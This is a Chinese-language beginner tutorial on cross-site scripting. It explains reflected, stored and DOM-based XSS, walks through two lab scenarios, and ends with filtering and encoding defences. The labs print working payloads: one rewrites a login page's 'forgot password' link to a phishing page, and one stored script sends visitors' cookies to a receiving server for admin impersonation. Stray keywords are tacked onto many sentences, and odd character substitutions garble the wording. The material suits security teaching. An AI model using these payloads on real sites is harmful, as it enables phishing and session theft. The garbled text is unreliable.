初級安全入門——XSS注入的原理與利用

XSS的簡單介紹

  • 跨站腳本攻擊(Cross Site Scripting),爲不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶目的。
  • XSS危害:
    • 流量劫持
    • 獲取用戶cookie信息,盜取帳號
    • 篡改、刪除頁面信息(釣魚)
    • 配合CSRF攻擊,實施進一步攻擊
  • XSS分類
    • 反射型XSS:反射型XSS也被稱爲非持久性XSS,當用戶訪問一個帶有XSS代碼的HTML請求時,服務器端接收數據後處理,而後把帶有XSS的數據發送到瀏覽器,瀏覽器解析這段帶有XSS代碼的數據後,就形成XSS漏洞,這個過程就像一次反射,因此叫反射型XSS。
    • 存儲型XSS:存儲型XSS又被稱爲持久性XSS,存儲型XSS是最危險的一種跨站腳本漏洞,當攻擊者提交一段 XSS代碼後,被服務端接收並存儲,當攻擊者或用戶再次訪問某個頁面時,這段XSS代碼被程序讀出來響應給瀏覽器,形成XSS跨站攻擊,這是存儲型XSS。
    • DOM型:不通過後端,DOM—based XSS漏洞是基於文檔對象模型Document Objeet Model,DOM)的一種漏洞,dom - xss是經過url傳入參數去控制觸發的。

實驗場景一:釣魚攻擊

任務一:

測試管理界面是否存在XSSphp

小提示:提示錯誤url會返回username的值,閉合先後標籤後端

在用戶名框中輸入"><script>alert(2)</script>(閉合input標籤)瀏覽器

結果,界面彈窗,證實該系統存在XSS注入服務器

任務二:

上一步驗證得出,該頁面存在XSS漏洞。接下來針對該漏洞進行修改連接屬性實現跳轉到釣魚界面cookie

在username=後面加上"><script>document.getElementsByTagName("body")[0].onload=function changeLink(){document.getElementById("myId").href='http://127.0.0.1:8082/wjmm.php';}</script><a(修改忘記密碼a標籤的href,使其指向釣魚網站)dom

點擊忘記密碼,進入了釣魚網站xss

實驗場景二:盜取cookie

任務一:

將js代碼</textarea>'"><script src=http://127.0.0.1:8081/xss/cGMiSw?1555397544></script>; 發表在文章管理系統的留言板上(該地址指向存放接收信息的服務器上的js路徑)測試

任務二:

當後臺管理員審覈留言(或者其餘用戶查看到該留言)時,觸發頁面執行js腳本,將瀏覽器的cookie發送到接收服務器網站

收到cookie後,手動給瀏覽器添加對應cookie編碼

實現僞造管理員(用戶)登陸

XSS漏洞防範

  • XSS的威力主要是取決於JavaScript可以實現的程度,XSS跨站腳本的造成緣由是對輸入輸出沒有嚴格過濾,致使在頁面上能夠執行JavaScript等客戶端代碼,因此只要將敏感字符過濾,就能夠修復XSS跨站漏洞。
  • 修復和防範方法:
    • 三種類型的XSS漏洞均可以經過過濾或編碼進行修復。
    • 反射型XSS和存儲型XSS能夠在服務端對用戶輸入輸出的內容過濾和編碼操做,將關鍵字進行過濾處理,關鍵符號進行編碼處理,如將全部on事件,script等關鍵字進行過濾,將全部<,>,」,’,=等特殊符號進行實體化編碼或url編碼即可以修復。
    • DOM型XSS若有在服務端進行交互,也可參考上述的方法進行修復,如未和服務端進行交互,可在客戶端使用JavaScript等客戶端腳本語言進行編碼和過濾處理。
相關文章
相關標籤/搜索